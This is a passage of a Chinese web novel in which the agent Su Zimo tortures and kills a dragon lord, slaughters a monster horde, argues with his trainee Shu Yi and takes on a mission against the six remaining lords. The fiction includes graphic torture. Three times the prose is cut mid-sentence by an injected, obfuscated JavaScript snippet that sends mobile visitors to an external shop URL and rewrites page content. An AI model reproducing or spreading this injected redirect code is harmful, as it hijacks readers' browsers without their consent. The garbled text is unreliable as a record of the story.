“看来这个问题很重要啊。” 苏子沫清清嗓子,没什么情绪地说: “也许这个秘密是领主级怪物的底牌,不过,通过研究您的尸体我们一样可以得到答案。抱歉,请您原谅,我是个没什么耐心的人。要是不肯说的话,我就只能动用些特殊手段了。您是害怕我们危及同胞吧?毕竟您也要死了,保守这个秘密也毫无意义。真感人。但是据我所知,七大领主之间除了那次宣战并没有联盟关系,甚至有些还存在敌对。如果我是您,就会选择告诉对方,免受多余的苦楚。” 长久的沉默,恐怖地降临。 “杀了我吧。” 苏子沫叹息,把长鸣插入一旁的地面,蹲了下来。他伸出一只修长的手,温柔地抚摸奈特的脑袋,身体投下的阴影如墨汁般粘稠。 他声音轻柔:“我是不是告诉过您,我没有什么耐心?” 然后青年面无表情地用夹在指尖的白色名片硬生生插爆了男人的左眼。 疼痛钻心地剜着眼底末端的神经,巨龙控制不住地抽气,几乎要干呕出来。 哈哈哈,这种态度可不好,朋友之间应该坦诚相待。苏子沫笑了,慢慢抽出名片,小股的血流被带着喷了出来。 血污染满了白色,顺着指缝流下来,滴答,滴答。 “现在您愿意了吗?您应该不想吃自己的眼球的。” 青年的声音很温和。 “咳,咳咳……”巨龙仅剩的一只眼睛里满是惊恐,以及穷途末路的愤怒,正如血和泪。 “吾……” 男人突然歇斯底里地嘶吼起来: “疯子!魔鬼!!哈哈哈哈哈哈……人类,你叫苏子沫对吧?好好看看,你现在的所作所为,还能算是个执行员吗?!还能算是个正常人吗??无论你把吾毁得多惨,可一想到像你这种恶心的家伙,怎样都不可能被人类接受,吾就等于报了仇了!你才是可怜的,你不是吗?你在那个房间里保护的人,看见你这副样子又会怎么想?真恶心,怪物,假如你永远只能这样活着,那还不如死了好!!” “……” 苏子沫的动作停顿了一下。 他指缝间还在一滴一滴地向下淌血,罪恶的颜色像是供奉在邪神像前,蜡烛的红泪。 男人却猛地站了起来! 苏子沫抽出长鸣,退开。他把长剑横在胸前,无悲无喜地看着它。 巨龙的身躯膨胀开来,太古流转的巨大生灵昂起脖子,铁甲峥嵘。尽管它半数的鳞片都已脱落,只剩一只金色的眼睛,可依旧美得无比森严。 它对着天空,用尽全力咆哮!震裂人心的吼声向着四面八方扩散出去,如同汹涌的狂潮!这吼声引发了恐怖的后果,森林里无数沉寂的眼睛躁动起来,它们听到了召唤,必将为此流尽最后一滴血。 然而,巨龙的吼声却戛然而止。它保持着仰天太息的姿势,好像就要离地展翼,声势万丈地发动扑击。 可是它已经死了。 那声吼叫耗尽了巨龙最后的力量,巨大的心脏已经停止了跳动。 苏子沫握着长鸣的剑柄,望着对手。一双冰蓝色眼珠厌倦地垂着,看起来疲惫又孤独。 良久,他轻轻欠身,向着敌人的尸体鞠了一躬。 可是青年随之抬起头,那点疲惫就消得干干净净,瞳孔中只剩下冰冷和坚硬。 20. 一人之军 低而沉重的吼声如闷雷般滚动,由远及近。没有多少时间了,再优秀的主帅也无法独自对抗千军万马,这简直就是绝望的陷阱。 愚妄留给他的,最后的礼花。 跟这些已经疯狂的东西作战,就像成群的鲨鱼闻到了血腥味,除非杀到最后一个,否则就没有退却可言。 苏子沫忽地拔剑,长鸣如弹射而出的蛇,刺入一只扑向巨龙尸体怪物的眉心。他毫不留情地拧转剑柄,搅碎了那只形似蜥蜴的怪物丑陋的黄色眼睛。蜥蜴抽搐着,无力地从巨龙的尸体上滑了下去,临死前还本能地企图吞下可口的血肉。 青年目光森冷,冰蓝色的瞳孔仿佛冻结。 他很不高兴。 苏子沫闭眼,俄而又缓缓睁开了眼睛。 他走向巨龙的头颅,挥剑斩下。那柄剑的气息太强烈了,从一开始苏子沫就知道它在那里。 巨龙白色的头骨暴露出来,在长鸣的剑刃下分崩离析。但长鸣却斩不断鼻尖那不详的黑色骨刺,这是一柄天生的凶器,即使它的主人已经停止了呼吸。 苏子沫深吸了一口气,然后握住了那柄危险的武器! 噬日发出愤怒的尖啸,剑柄鳞片翕张,企图刺伤他的手心。苏子沫手腕下垂,瞳孔中流淌着一种漠然的神色。他平静地说: “听话。” 只是简单的两个字,噬日却如小狗那样发出委屈的呜咽,好像被吓到了。它缓缓收回鳞片,发出清脆的扣合声。这柄武器毕竟已经没有了原主人的意志,只会臣服于绝对的力量。 青年另一只手将纯白的长鸣插入地面,轻轻抚摸着它的剑柄。长鸣一旦入土,剑身越来越亮,最后如同燃烧的璀璨星辰,流溢的白色光焰光绝日月。 激昂的声震重又奏响,只是声势是先前的百倍千倍。声震之域从未被激发如此,这把主司防御的剑形成的领域如有实质,甚至达到了某种攻击的效果,有几只低级的弱小怪物刚刚踏进长鸣的声网就被那震荡的狂流硬生生压碎。 无数的金黄色眼睛在黑夜中亮起,青年提着手中的刀剑,孤独地面对铺天盖地的敌人。 他想起了老人与海。 故事以一具鱼骨结束,鱼头做了饲料,鱼骨被冲回大海,一无所得也无人所知的英雄安然睡去。日月逝矣,岁不我与。可是他不一样,他根本不必如此。 拿走钥匙以后,他完全可以带着愚妄的尸体直接返回。想来这也是符合他性格的做法吧?高效、无趣、追求利益最大化…他也没什么英雄精神。 但是… 但是? 苏子沫猛地发起冲锋。声震之域在同时极致地释放,所有怪物动作猛地一滞。前方右侧鹰犬高高地跃起,伸出利爪直取他的脖颈,但它的扑击在青年眼里仿佛小孩子的扑打一样可笑,狰狞的神情随即僵住了,身体软绵绵地倒下。噬日在它的眉心留下了一个焦黑的血洞,生命力那在一瞬间就被抽干了。 怪物的潮水还在进场,像是在跳一支圆舞,黑色的剑弧穿行在黑压压的兽群中,如同暴雨。怪物往往上一秒还在发出咆哮,下一秒就已经被洞穿了喉咙。前面的倒下,后面的踩着尸体又一次奋不顾身地冲上来。飞血成片一样泼洒,噬日发出兴奋的吼叫,血红色的纹路仿佛活物,血管般鼓胀、蠕动,贪婪地吞噬被它切割过怪物的生命。 所以他才要借助它的力量。否则他没有把握在控制力量的前提下扫清兽潮,这是苏子沫所不能允许的。 开始时青年还追求精准毙命,可渐渐地他也记不清自己挥了多少剑,那股子暴虐的快感侵占了他的整个脑海。不受控制的笑容浮现在他脸上,一剑平挥出去,数个怪物的头颅随之落下,流水一样,只是带着致命的刀锋。暴力、毁灭、喧嚣,此刻只有一种心情,愤怒、与愤怒到狂暴的喜悦。耳鸣声压迫着兴奋到极点的神经,欢欣鼓舞,不可忍耐,无法容忍!快、再快,对环境的感觉已不复存在,是弹簧,被压力迫至浑身紧绷,忽然毫无征兆地爆发出来。不计其数的尖牙利爪指向他,围着他,而他则用死亡回应它们。剑刃切入躯体,割裂、粉碎大脑,拧转剑柄,而后又抽出来。噬日呼应着持剑者的情绪,每一个生命的消逝都在增强它的力量。他分明那么小,一个人冲向万军的兽潮,可那通天的剑光到最后,就已仿佛愚妄再度临世,以帝王般的高傲和愤怒向胆敢冒犯它的臣民宣泄压倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385374|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性的暴力与死亡。 血把他的全身都染红了,最后苏子沫每一步都踏着敌人的尸骨前进。他自己就是一支一个人的军队,那怪物的潮水居然看到了尽头。 拜长鸣所赐,怪物一接近巨龙的尸体就会急剧减速,甚至被压断骨骼。可它们宁可像被拍死的虫子那样内脏破裂,也要爬向美味的血食,在地面上留下长长的血痕。苏子沫才有时间清空周围的空间,又用念力清理出新的战场。 …… 从最后一只怪物的喉间拔出噬日,苏子沫像是从一场大梦醒来,恢复了些许清明和理智。 头痛欲裂,他缓缓地单膝跪地,才顿觉脱力。就算是他,经历了这种程度的战斗,也不可能没有疲惫感。 “嘶……” 但是头疼得像要裂开,这好像有点奇怪。苏子沫拄着剑柄,企图站起来,可他开始喘不上气,甚至…有点耳鸣。 他惊恐地发现,一股不属于自己的情绪自心底翻涌出来,没由来的仇恨和毁灭欲不遗余力地挑战着他那根理智的神经,唤起嗜血的冲动。 “咳咳……” 他想起来了,为什么自己对后半截战斗没有多少印象?苏子沫瞳孔紧缩,目光下移至自己的双手,难道是…… 他松开剑柄,噬日哐啷一声掉落。苏子沫如同溺水的人一样呼吸,咳嗽了好一会儿才缓过来,勉强把那股情绪压下去。他看着自己的掌心,那里被剑柄上的龙鳞刺出了星星点点的伤口。苏子沫面无表情,随即从伤口猛地拔出了一片翕动的黑鳞。 这果然是一柄危险的武器,他精神坚定的时候还好,但只要疲惫或者动摇就容易被侵蚀…这东西还挺狡猾,知道寻找适合的寄主。 噬日从满足转为委屈的、低低的嗡鸣,仿佛在质问为什么不要它了。 “……” 苏子沫摇摇晃晃地站起来,勾了勾手指,一把银色小钥匙裹挟着淡淡的蓝光向他飞来,被他一把抄住。 然后青年把它调成了通话频道。 “嚯~真少见,为什么这次你会这么晚?” 面对格温好奇的询问,他只是说: “完事了,你来吧。” 21. 交易 漫长的等待中,舒懿揉着眼角,抹掉因哈欠而挤出的泪滴。突然听到苏子沫的通话,她整个人一激灵,浓雾一般裹挟着意识的困意顿时散了个干净。 舒懿把目光投向身旁的男人: “格温先生……” 格温彬彬有礼地躬身,轻轻牵住她的手,宝石绿的眼睛含着狡黠的笑意。 “走。” …… 她从未有过如此新奇的感受。 视觉被一片明亮且流光溢彩的银色覆盖,耳畔如有风声。又似乎是沉重却轻柔的水,以不可感知的形态没过她,挤压她。时间仿佛永恒,同时又像是凝结的刹那,或许一开始就处于时间之外—— 然后眼前出现了色彩 缓慢地,她眨着自己的眼睛,终于理解了那些逐渐清晰的事物。长草的波浪,虫鸣,簌簌的叶……舒懿终于意识到,自己正站在一片森林的怀抱。 她长舒了一口气,两眼放光地抬起头,打算对着格温惊叹一番,却愣住了。 森林中,怎么会有山? 舒懿浑身发冷,不由地屏住呼吸。 不,那不是山。 …是怪物。 无数尸体成叠连片,扭曲狰狞,大部分都被一击毙命,那个屠杀它们的人下手极重,伤口呈现出一种被侵蚀殆尽的焦黑色…… 血腥味甜腻得像糖果,后知后觉的她控制不住地反胃。颤抖的琥珀色瞳孔中,倒映着那个人的身影。 苏子沫。 青年提着不详的黑剑,浑身溅满了怪物的血液,暗红色的液体沿着深灰的发丝滴落……背后惊人的尸体堆积如山,可那双低垂的冰蓝色眼睛却不染纤尘,恍若俯瞰人间的神明。 神明抬起俊秀的眉眼,看向了她。 舒懿顿时明白,为什么苏子沫要把她留下,又是为什么…格温会那样排斥,那么警告她。因为,因为……她被他这副样子吓得有点发毛,硬抗着恐惧的本能咽了口唾沫,可还是忍不住往格温身后瑟缩了一下。 苏子沫眯了眯眼睛,好像有一点惊讶,又像是有一点轻蔑和失望似的,轻轻笑了一下。 他笑得温和内敛,可脸上的血迹却给这笑容平添了一点狰狞味道,那侧脸倒真像个屠戮众生无喜无悲的邪神: “格温。” 他没有用敬语。 果然生气了…… 格温脸上的表情微变,他略微扬起下巴,耸了耸肩: “没办法,被舒懿小姐抓住把柄,狠狠威胁了耶~苏先生,不要这么吓人地盯着我嘛,解决不了问题是不是?说起这个,真难受,您怎么会搞成这样?且不说我这个善后的不得善终,任务目标只有一个吧?以你的性格,怎么会做这种多余的事?” “这部分内容你不用管。” “好吧,好吧好吧……”男人叹了口气,“你是执行者你最大啰。” 苏子沫径直向前走了几步,没有匀给她一点目光,向男人微微递出手中的黑剑: “除了善后工作,这柄剑你收着。等等,小心。千万不要让生命体或者能量接触到这柄武器,它的属性是吞噬和进化,而且有可能还能干扰接触者的精神,应该和原主人愚妄有关……接下来的事,就交给你了。” “咦,真有趣……” 男人敲敲自己的表盘,道具逐渐显现出轮廓。他捏着那颗透明的玻璃球,歪着头问: “那苏先生为什么能直接握着它呢?既然如此,这些属性对你应该没有用处吧,与其让这把难得的武器在仓库里蒙尘,为什么你不干脆……” 青年沉默了。他微微低头,轻轻攥了一下受伤的右手。 愚妄之龙临终时声嘶力竭的嘲讽仿佛还在他耳边诅咒似地回荡,那股子病态愉悦毒蛇般往他胸口里钻的感受仍历历在目。 这一切,都在让他恐惧和怀疑。 “我……” 他顿了一下,说:“我不能用这柄剑。” 格温静静地看着他,片刻后,把那柄危险的剑封进了玻璃球。 “我知道了,好吧。” 苏子沫垂下手:“至于愚妄之龙的资料,之后我整理完毕,会给您发副本文件的。” “哎呀,和苏先生合作就是省心。”男人伸了个懒腰,眨眨眼。“虽然给我找了这么多活儿……” “但你最好给我省心一点。否则我不得不评估,你是否还是一个合格的合作者。” “别生气嘛,我也是迫不得已……” “迫不得已。” 苏子沫嗤笑一声。 “不用解释了。您可以闭嘴吗?” 好恶劣。 看着他的背影,舒懿竟然觉得有些陌生。原本苏子沫尽管会与格温互相调侃,但他话语得体,从来挑不出什么毛病,也不带恶意。可是现在…… 压迫感好强。 甚至……有些咄咄逼人。 “好受伤。我又没有在你战斗的时候把她带过来!有些事情你还是和她谈谈吧,如果她说的没道理,我怎么可能这么做?嗯哼,我不打扰,那接下来就是你们的二人时间了~” “啧。” 苏子沫看起来有点愠怒——但他控制得极好,转瞬间调整好表情,忽略了没正形的领导,转向她。 “你不该来的。” 他很绅士地隔了一米多的距离,应该是怕身上的血迹染到她。青年轻轻地挑起眉尖,冰蓝色的眼珠幽深,看起来有一点危险气息。 “为什么?” “……为什么?”苏子沫低声重复了一遍,笑了,“格温没告诉你?还是说……” “你没看到吗。” 舒懿眉头飞快地一皱:“苏子沫,首先,你只是在执行公务,我没必要害怕吧?还有,我清楚你肯定是为了收集更多的资料才改变计划的,也不打算中途插进来拖累你,只是希望至少能和格温先生参与善后工作……” 青年静静地看着她,微微一歪头。 “你现在来,实际上能起到什么作用?” 舒懿瞪大了眼睛,难以置信。 苏子沫? 苏子沫见她呆呆的,又接着说下去: “你也看见了,这可不是什么游戏…没吵着要和我过来,也按了发信器,很好。但是你知道工作我已经做完了,善后是格温的事,为什么要过来?好好休息不好吗……为什么熬夜等到现在,过来看我清理的现场,你能帮到他吗?实际上不能吧。” 啊。 “我倒是很佩服你能说服他,不过我实在不明白,为什么要做这种多余的事。” 青年的语气带着十二分的漫不经心,听上去低沉温柔,可每一句都是捅刀。苏子沫低头,看到面前的女孩在动作极轻地深呼吸,拼命忍着眼泪,身体紧绷。想要祥装镇定,掐进掌心的指甲还是暴露了动摇。 他看出来,她很痛苦,但又不想在他面前示弱。没人的话,会哭出来吗? 苏子沫当然清楚自己在说什么,他很熟悉这种场面。他特意顿了顿,停下来饶有兴致地观察她的反应。 失望,气愤,痛苦。反驳他,责怪他,离开他。这是很顺理成章的事,也不过如此。背后的怪物尸体和他这副残忍的模样,就是最好的催化剂。 来,让我们开始游戏吧。 不受控制的酸涩感涌上眼眶,舒懿努力控制住身体的颤抖,尽可能让自己的语气听起来平静如常: “我知道……我帮不上什么忙……但是我要来,绝对不是一种错误。” 苏子沫眯了眯眼,和他料想的情形不大一样,略微有点吃惊。 “我知道你很厉害,也很尊敬你这一点。为了追求最高的效率,可能做出一些出格的事,我可以配合你,这都无可厚非……”舒懿直视着他的眼睛,“但是,既然我没有妨碍你的工作,哪怕我现在只是在做无用功,这都是我的正当利益,你没有权利指责我。” “嗯。” “我没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385375|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法因为自己起不到什么作用,就去心安理得地坐享其成;没有办法就这样安慰自己去休息,放着我的搭档一个人在执行任务;没有办法因为一时的弱小,就停止去做使自己尽可能发挥多一点作用的努力。” 琥珀色的眼眸蒙上了一层薄薄的水光,却仍然倔强地盯着他。看着这双眼睛,苏子沫的心情有些复杂。 说了这么过分又伤人的话,第一反应居然不是责怪他吗?真是不可理喻,但又非常有趣。 “舒懿,我想说的是…我的风格就是这样。如果你在我这里,会很难受。”青年叹了口气。他漫不经心垂下眼睫,不置可否地回答: “我不需要搭档,也不会带新。话说得有些重,但我希望你能明白我的意思。你想要在实习期获得战斗的经验,成长,锻炼,可是我根本不能满足你。之前让你认真考虑的事,现在我希望你再考虑一下。我可以介绍你去总部,那里有更好的人,也适合你。你没有必要在我这里浪费时间。” “……” 舒懿快被他这满不在乎的态度气疯了,握拳又松开,艰难地压下心里的火气。可她又隐隐约约觉得奇怪……感觉苏子沫不像是会这么说话的人啊,他明明,是个很照顾人的人才对。杨铭也提过,苏子沫深究了人还是不错的,就是有点麻烦……麻烦? 这家伙,好像…有严重的自毁倾向。他现在说的话很容易让人对他产生反感,实际上又不是真的对别人有恶意。从完全客观的角度出发,甚至对他人还有好处。更像是…… 故意在让别人讨厌他一样。 突然想明白了这点,舒懿心中五味杂陈,也不生气了。她一方面很无语,一方面又忍不住嘀咕,这种扭曲的性格是怎么养成的啊……? “我知道我只是个普通人,我这样会给你增加不必要的麻烦,但是那又能怎……?你是负责带我的搭档,只要我不出格,我想要有更多参与感,你就要给我提供必要的便利,这是责、任——”舒懿重重地咬字,好像是在用手指怼他的胸口,“为自己的正当利益而争取,为什么不可以?苏子沫同志,你可以建议,但无权干涉我,懂?” “……” 苏子沫不说话了。 “而且,我倒不觉得我学不到什么……” 她垂下眼。 “这样吧。实习期只有三个月,我看过守则。在这期间,您没办法主动解除搭档关系,除非实习人主动申请——我想,这也是您为什么一而再再而三地怂恿我……我的好搭档,您就忍过这三个月,稍微配合我一下,或者说照顾?这样我也好做好自己的事,不给您添麻烦,你好我好大家好。我也不是稀罕你,三个月一到,我马上走人。” 舒懿快乐地把身体向前倾,冲他眨眨眼,伸出一只手: “做个交易?” 苏子沫轻轻地“哼”了一声,他微微弯下腰,而后抬起了那双冰蓝色的眼睛。 她愣住了。 先前不管怎么看,舒懿老觉得苏子沫瞳孔总散散的不聚焦,怀疑他是不是眼睛有病。微笑的时候像是专注地在看人,又其实哪儿都没看。 可现在,这双冰蓝色眼珠幽深、森冷、又异常锐利地看进她眼里,像是猎食者锁定了无知无觉的猎物。青年弯了眼睛,也伸出手。但他依然保持了一点距离,隔空虚虚地握着。 舒懿瞪大了眼睛,所以这是—— 苏子沫轻轻叹了口气,露出一个无奈又玩味的温柔笑容: “好吧。” “欸?” “怎么。” “你同意了?!” “嗯?有问题吗?”他微微一笑,“你已经把利弊分析得那么明显了,这是合格的交易。” “哼,知道我的厉害了吧?耶!”舒懿比了个手势,得意洋洋地转过身去找格温。 在她看不见的地方,冰蓝色的眼睛正黑沉沉地注视着女孩的背影。熟悉而又陌生的兴奋感和隐隐约约的期待莫名地浮现,叫他感到很新奇。 22. 危险等级 水流从淋浴喷头喷出,洒落在他身上,沿着肌肉线条分明的胸膛淌到脚跟。血红色在脚下晕染开来,苏子沫额头抵着浴室墙壁上的瓷砖,望着殷红的血水打着旋冲入下水道。 像是望着一朵被染红的白花。 “……” 好累。真的,好累。 他几乎没有力气做任何多余的事,机械地按开洗发水的盖子,抹开。右手龙鳞留下的伤口被热水冲刷,一抽一抽地疼,可是他不想管。水流的红色逐渐变浅,最后看不出痕迹,但还是恶心得想吐。 苏子沫扯了下嘴角,似乎想要露出一个笑容,但是失败了。 他关上淋浴头。 简单地披了条浴巾,苏子沫静静地看着雾蒙蒙的镜面里倒映的人形。指腹抹过凝结的细小水雾,在白色的镜面上撕开一道伤口,露出青年冰蓝色的眼睛。水雾被他的指尖聚成更大的液滴,坠下扭曲的痕迹,仿佛哭泣。 真恶心。 突然的想法出现在脑海里,他愣了一下,自嘲地笑了。 …… 从浴室里出来以后,天已经蒙蒙亮了。苏子沫看了一下表: “6:34” 他抬起眼,并没有看见女孩的身影,不知道是和格温干什么去了。青年搬了把椅子,坐在墙角吹头发。 他是真的累了,甚至连头发都没有吹干。只是堪堪关掉了吹风机,靠着墙打算稍微闭目养神一下。苏子沫睡眠质量不好,浅,又总是容易做噩梦。虽然不至于失眠,但也不容易入睡,只有累到某种程度,才能换来一夜无梦。 “……” 舒懿屏住了呼吸。 因为那家伙居然靠在墙上睡着了。 苏子沫微微低着头,呼吸沉稳均匀。他的侧脸有些清瘦,鼻梁修挺,睫毛纤长,在眼睫下打出下浓墨重彩的阴影。没吹干的几缕发丝还在滴水,如果不是笔挺的身型,他看起来近乎是柔弱的。 坐着都能睡着。 她屏息蹑手蹑脚地走过去,心情有点复杂。苏子沫不喜欢示弱,更不喜欢在人前卸下防备,应该是看她不在太累了吧。那就不吵他,让他好好休息。 舒懿蹲下来,撑着脸看他。 但是,她发现苏子沫的掌心……好像有伤?没怎么经过处理,只是堪堪止住了血。舒懿皱眉,犹豫再三,心软了。 他是真的很累吧。 她凑过去,脚步很轻。舒懿屏住呼吸,从口袋里掏出创口贴,撕掉包装。然后像是进行精密的外科手术那样,悄悄地靠近他,蹲下来,轻轻触碰到那双大理石雕塑一般的手。温度,呼吸,轻柔地笼罩着整个空间。 舒懿贴好创可贴,把两端细心地抹平。她满足又得意地笑了一下,自我感觉极其良好,然后抬起头。 和那双冰蓝色的瞳孔对视。 ?! 舒懿咽了口唾沫,“啪”的一声双手合十,举高: “对不起领导!冒犯了领导!大人不记小人过,我真的只是想贴个创口贴,没忘记您有洁癖,本来是不想碰的…已经很轻了,可是还是把你给吵醒……” 苏子沫声音有点疲倦:“没事。” “本来也没想睡着的……不是你的问题,是我睡眠浅。” 他揉了揉眉心,坐起来。舒懿呆愣了片刻,在她的印象里,苏子沫要么是那副体贴的老好人样子,要么就是个丧心病狂刽子手。可他此时眼睛含着一点红血丝,眼眶下微微有点发青。面色憔悴而倦怠,竟有些真诚的意味。 他也是一个人,舒懿想。肉体凡胎,而不是冰冷的机器。 苏子沫见她傻愣愣地盯着自己看,皱了皱眉。他站起来,在白色衬衫外套上一件卡其色长大衣,打了条黑色领带,打开门。 “愣着干什么?” 舒懿就屁颠屁颠地跟上,像条小尾巴: “不会吧?领导,今天还有任务啊?” 你都通宵了喂! 苏子沫步子迈得很大:“看情况。” 舒懿盯着他的背影,青年走得太快,她只得一路小跑:“关于那条龙,你猜到什么了吗?是不是出事了?” 苏子沫脚步一顿,她车没刹住,差点撞他背上。 “先前有些东西,一直没和你讲。” 舒懿心里一紧,知道他这是认真的,点头:“你说。” “你知道危险等级吗?” 舒懿马上接道:“危险等级,是处理局为每种已出现的变异生物进行综合判断评定的威胁标准,一共五级,从一至五逐渐递增。但处理局内部更喜欢用另外一套别称来代替,就是普通级,过区级,次城级,灭城级,以及……领主级。”她咽了口唾沫,“我只知道前三个级别的标准,后面的……我没有权限。” “嗯,领主级是经过多次累加变异的怪物,不仅能毁灭数座城市,而且更为棘手的是,它们还拥有仅次于人类的智能。曾经,领主级的怪物是集体向人类宣战过的,可惜被狠狠抽了一巴掌。人类当中也有不少怪物啊……” 他讽刺地勾勾嘴角。 “到了这种层次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385376|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,领主级能够驱使低阶怪物,所以你才会看到那个场景。我必须杀了它们,愚妄之龙奈特的尸体要是被吃掉,会很麻烦。” “它有名字?” “嗯,领主级只有七位。除了已经死亡的愚妄,‘欺诈’、‘卑劣’、‘贪婪’、‘怠惰’、‘纵欲’、‘暴戾’,还有六只。这是它们自己的名号,哈哈……估计是唯一给自己起名的怪物了吧?总之,被打惨了以后,它们都极其谨慎,通常以人型出现,甚至生活在人类当中。基本上很难辨认,这次能发现愚妄,是因为它的核心被人抽取了。领主级似乎有特殊的保命手段,能从敌人手下逃跑,这次却没有再用。很可惜,没问到……” 苏子沫眯了眯眼。 “所以它其实是一个受伤状态?可是谁能……” 他放慢了脚步,舒懿舒服多了。 “好问题。毕竟能够发现全盛时期的领主级,还能够让它动用最后手段逃跑,这个人一定很危险。我看了你的报告,的确,近来第9辖区怪物数量骤增,已经上升到了一个不正常的数值,和暗中的军火交易也可能脱不开联系。上头任命我留在这里镇守就是害怕出什么事,不然平时待这么久都不出差,简直是天方夜谭。” 他为什么要一直出差? 她突然意识到了什么,喉头滚动了一下:“你……你之前,我问你不管别地方的求援会怎么样,你说你不管,放着他们死人,其实只是现在有异常情况,你抽不开身,是吗?” 苏子沫慢慢地转过身来,脸上一点表情都没有。 “为什么故意用那种让人误会的说法……” 苏子沫冷冷地说:“是又怎么样,不是又怎么样,你管得着吗?” 舒懿没声了。 她现在坚定地认为苏子沫是个极为口是心非的问题儿童,心理有毛病,她应该本着人性化的原则体谅一下。这才把那股想要把他摁在地上暴打一顿的强烈欲望强行忍了下来,非常内伤地想:“我这迟早有一天会折寿啊。” 已经到达了餐厅的门口,舒懿忍得自己肝胆俱裂,只好用仇视的目光光棍地瞪着他,戳戳苏子沫的手臂。 “你的意思是,假如那个什么愚妄真是领主级,格温先生不可能什么都不告诉你就进行清理啊?而且,他应该知道一点隐情,钥匙也是他主动给它的。” “说得太对了。” 苏子沫微微歪着头,却不是在看她,而是直视着餐桌那头那个微笑的绿眼睛男人。 “所以,你不打算解释一下吗?格温。” 23. x 气氛瞬间凝结了。 可是格温却毫不在意。他将盛有鲜虾吐司卷、鸡蛋培根和红豆饼的餐盘舒懿摆好,倒了杯牛奶,放在手边: “别紧张,我没有恶意——作为尊贵的客人,二位请先用早餐吧,我慢慢说给你们听。” 苏子沫不紧不慢抬起眼,拉开椅子落座: “请您记住,倘若对灭城级以上怪物信息隐瞒不报,我有权就地执法。因此,希望您能给出一个足够合理的解释,不要让大家失望。” “唉,我还是不习惯你认真的样子啊…一点也不好玩。” 格温叹了口气。 果然……舒懿想。格温先生就是为了让苏子沫放松下来才说先前那些话的。当然,她也很好奇格温为什么要这样做。 “愚妄之龙奈特,我是故意让它得到‘钥匙’进行转移的,毕竟,它需要我的空间转移技术,来躲某个人。” “为什么。” “目前为止,虽然我并不清楚那个人的目的,但愚妄是被抽取才元气大伤的,他仍然在寻找奈特。我不能让他完整地得到愚妄的力量,只能诱使它夺走【钥匙】,将其置于空间转移装置中,防止你来清除前被他找到。” 苏子沫眉间一挑,垂下薄薄的眼皮,方才那种简直令人窒息的压迫感就没了:“虽然愚妄也提过那个人的一些资料……不过听你的口气,你知道‘他’是谁?” 舒懿缩缩脖子,心想,苏子沫语气听起来怎么这么……期待的样子? “并非是我故意隐瞒,而是上级要求不能对你解锁有关这件事的权限——苏子沫,你是聪明人,我不用说太多。” 苏子沫轻笑了一声,态度冰冷又轻慢: “有关他的事就不让我知道是吗,真是多此一举……” 所以“他”是谁啊…她好奇心上来了,瘪瘪嘴,这些人真是的,永远都要卖关子! “能发现这件事的痕迹,还多亏了苏璟先生。总之,苏璟先生调查到,不知出于什么原因,他开始寻找七大领主,不只是愚妄。显而易见,肯定不会是什么好事儿。”格温神色凝重地接上话音,“七大领主死了一个,必然会更加谨慎狡猾; 另一方面,我们必须跟他赛跑。当今处理局中,凡是能赶在他之前、并且能够胜任领主级任务的,凤毛鳞角,还几乎全是一群自恃甚高、尸位素餐之辈…他们说得难听一点,就是上头的私人保镖,必须承担护卫工作,思来想去,我只能把这件事托付给你……” 男人苦笑了一下。 “在我看来,那帮家伙的担心根本无关紧要,你是什么样的人我很清楚。但是上头不信任,又觉得他去清除七大领主是件好事,还给处理局省力,我也没有什么办法……所以,这仅仅是我的私人请求。当然,佣金是不会亏待苏先生的,钱的事好说。抱歉,在你任务这么繁重的情况下,还往上加码,你可以考虑拒绝。” 蓝眼睛的青年一手支着脸,呷了一口咖啡。 “嗯,好。” 苏子沫简短地回答。他看起来不怨,不怒,不忧,也不怕,镇定得不可思议。 舒懿看着青年的侧脸,明明前一刻他还熬过一个通宵,疲倦得靠在墙上睡着。可是,这一刻就能让人觉得,哪怕苏子沫只是站在那里,只要这个人在,就没有什么是做不到的。 她真的打心眼里佩服。 这段对话,自己完全插不上嘴……舒懿承认苏子沫是一个强大到目前的她完全无法比拟的人,暗暗地紧紧攥紧了拳。 自己实力有限,这样一个和领主级有关的重要任务根本没份,但还是想参与进去啊。大不了做些分析类的工作……舒懿心里难受,觉得按苏子沫的性格,肯定不会让她跟着去的。 要证明自己,想个办法征得他同意。 “只要把‘欺诈’、‘卑劣’、‘贪婪’、‘怠惰’、‘纵欲’、‘暴戾’找出来全杀了,就可以了吧。”苏子沫漠然地说,指尖敲了敲桌面,“你负责搜索和清扫战场。” 舒懿激灵了一下,觉得苏子沫这话有点不对味儿,又说不清道不明。总觉得不像是个执行员该说的话,更不该是他这个年龄段的人…能说的话。 格温点了点头:“表面上,还是照常即可。如果有追查到它们行踪的消息,介时我会通知你。” 